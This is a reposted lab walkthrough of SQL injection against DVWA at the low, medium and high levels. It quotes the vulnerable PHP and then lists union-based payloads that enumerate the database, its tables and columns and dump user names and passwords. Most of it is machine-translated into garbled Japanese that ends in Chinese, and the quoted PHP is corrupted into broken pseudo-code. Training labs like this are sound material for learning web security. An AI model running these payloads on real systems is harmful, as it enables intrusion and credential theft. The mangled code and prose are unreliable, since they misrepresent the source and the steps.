詳細SQLインジェクションの脆弱性に関するDWVA-

低度

コードは以下の通りであります:

 

1   <?PHP
 2  
3  であればISSET$ _REQUEST [ '送信' ])){
 4      //が入力取得
5      $ IDを = $ _REQUEST [ 'ID' ]。
6  
7      // チェックデータベース
8      $クエリ   = "SELECT FIRST_NAME、USER_ID = 'ユーザーからのlast_name ます$ id ';" ;
9      $結果 = mysqli_query$ GLOBALS [ "___mysqli_ston"]、   $クエリ)またはダイ( '<予備>'。$ GLOBALS [ "___mysqli_ston"]))?mysqli_error$ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error?())$ ___ mysqli_res))。'</ PRE>' );
10  
11      // 結果取得
12を     ながら$行 = mysqli_fetch_assoc$結果)){
 13の         // 取得値
14          $は最初 = $行 [ "FIRST_NAMEを" ]。
15          $最後の   = $行 [ "LAST_NAME"];
16  
17          // エンドユーザのフィードバック
18          エコー "<PRE> ID:{ $ ID } <br />まず名:{ $最初 } <br />姓:{ $最後 } </ PRE>" 19      }
 20  
21      mysqli_close$ GLOBALS [ "___mysqli_ston" ])。
22  }
 23  
24?>

 

上記のように、コードは、入力されたSQLインジェクションの脆弱性が存在してフィルタリングしません

我々は、次を攻撃し始めました。

注射があるか否かを判定する1

入力1は---正しいを返します

入力1「---エラーを返します

入力1と1 = 1は---正しいを返します

入力1と2 = 1···正しいを返します

入力1「と」1「=」1 ---正しいを返します

入力1「と」1「=」1 ---正しいを返します

入力1「と」1「=」2は---エラーが返されます(射出文字にここそこに描かれるべき、以下の検証を継続しました)

入力1「または」1「=」1 ---正しいリターン(復帰多くの結果が文字インジェクションの存在を証明します)

2.フィールドの数は、クエリのSQL文を推測します

入力1「または1#によって1 = 1順序---正しいを返します

入力1「または2#によって1 = 1順序---正しいを返します

入力1「または1 = 1オーダー3#によって---リターンエラー(返された結果---不明列」順序句「に」3「のフィールドの数が2を証明しています)

3.フィールドの配列を決定するために、

入力1「または1 = 1組合1,2#---リターン結果セット(実行SQLクエリの証明:ID =テーブルからフリスト名、姓を選択する選択」ID「)を

データベースを決定します。4.

入力1「または1 = 1組合選択データベース()、2#---決定データベースdwva

テーブル名を推測5.

入力1 'または1 = 1組合1を選択し、INFORMATION_SCHEMA.TABLES TABLE_SCHEMA =からtable_nameの' dvwa「#---決意テーブルと呼ばれるユーザーやゲストブック

6.推測カラム名

输入1' または1 = 1組合は、1 information_schema.columnsからCOLUMN_NAMEを選択する場所TABLE_SCHEMA = 'dvwa' とTABLE_NAME = 'ユーザー' #---爆出8个列名のuser_id、FIRST_NAME、LAST_NAME、ユーザー、パスワード、アバター、 last_login、failed_login

データの名前を推測7.

入力1 'または1 = 1組合1を選択し、CONCAT(ユーザー、' - ユーザーからの」、パスワード)#---すべてのデータ・バースト

 

コードは以下の通りであります:

 

1 <?PHP
 2  
3  であればISSET$ _POST [ '送信' {]))
 4      //が入力取得
5      の$ ID = $ _POST [ 'IDを' ]。
6  
7      $のID = mysqli_real_escape_string$ GLOBALS [ "___mysqli_ston"]、$ ID )。
8  
9      $クエリ   = "SELECT FIRST_NAME、USER_ID =ユーザーからのlast_name $ ID ;" ;
10      $結果 = mysqli_query$ GLOBALS【 "___mysqli_ston"]、$クエリ)またはダイ( '<予備>'。mysqli_error$ GLOBALS [ "___mysqli_ston"]) '</ PRE>' );
11  
12      //は結果取得
13      ながら$行 = mysqli_fetch_assoc$結果)){
 14の         // 表示値が
15          $最初 = $行 [ "FIRST_NAMEを" ]。
16          $最後   = $行 [ "LAST_NAME" ]。
 
         
         "<PRE> ID:{ $ ID } <br />まず名:{ 最初$ } <br />姓:{ $最後 } </ PRE>" 20      }
 21  
22  }
 23  
24  // これは、後にindex.phpのページで使用されている
 25  私たちは、ソーススクリプトの残りの部分でのように、ここでデータベース接続を閉じることができますので、それをここで設定する// 
26  $クエリ   =「SELECT COUNTユーザーからの(*);」;
27  $結果 = mysqli_query$ GLOBALS [ "___mysqli_ston"]、   $クエリ)またはダイ( '<前>'。$ GLOBALS [ "___mysqli_ston"]))?mysqli_error$ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error?())$ ___ mysqli_res))。'</ PRE>' );
28  $ NUMBER_OF_ROWS = mysqli_fetch_row$結果)[0 ];
29  
30  mysqli_close$ GLOBALS [ "___mysqli_ston" ])。
31?>

 中の特殊文字をエスケープすることの困難、および注入を防止するためのドロップダウンメニューに入力ボックス。

私たちは、悪意のあるburpsuitキャプチャの注射により提出されたデータを変更することができます。

我々は、次を攻撃し始めました。

1.分析噴射式

キャプチャ後(これは、その後のキャプチャを略す)の変化に提出し、1を選択します

1「と= 1 1 ---エラーを返します

1と1 = 1 ---正常復帰(説明噴射型が数値注射です)

2.フィールドの数を分析します

Etherealの

1つの#1 ORDER BY ---正常に戻ります

2#1 ORDER BY ---正常に戻ります

3つの#---戻りによって1つのオーダーエラー(フィールド2の数)

フィールドオーダーの分析3。

Etherealの

1つの組合は---ノーマルへの復帰を1,2#を選択します

4.推測ソリューションデータベース

Etherealの

1つの組合1を選択し、データベース()#---成功し破ったデータベースdvwa

テーブル名を推測5.

Etherealの

1つの組合1を選択し、TABLE_SCHEMA =「dvwa」#---(ここでエラーが、文字の存在に起因する16進数に変換して送信することができる)エラーを返しINFORMATION_SCHEMA.TABLESからTABLE_NAME

1組合、TABLE_SCHEMA = 0x276476776127#---正常に戻る(のみ管理テーブルを壊した)INFORMATION_SCHEMA.TABLESからTABLE_NAME 1を選択

1つの組合が1、ここでTABLE_SCHEMA = 0x64767761#---ノーマルバースト(および差、変換16進数は、ターンであり、「dvwa」上に転写されている点でINFORMATION_SCHEMA.TABLESからテーブル名を選択しますdvwa、変換は増加」、注意を払う必要がありません!)

それはそうすることができ

1つの組合はTABLE_SCHEMA =データベース()#---爆出表名ゲストブック、ユーザーINFORMATION_SCHEMA.TABLESから1、GROUP_CONCAT(TABLE_NAME)を選択します

6.推測カラム名

Etherealの

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有数据名

 

 

high

代码如下:

 1 <?php
 2 
 3 if( isset( $_SESSION [ 'id' ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ 'id' ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
22 }
23 
24 ?> 

 

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1' or '1'='1      ---字符注入

2.判断字段数

1' or 1=1 order by 2#      ---返回正确

1' or 1=1 order by 3#      ---返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    ---爆出数据库名

5.猜解表名

1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

7.爆出数据

1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据

おすすめ

転載: www.cnblogs.com/Hpineapple/p/12050980.html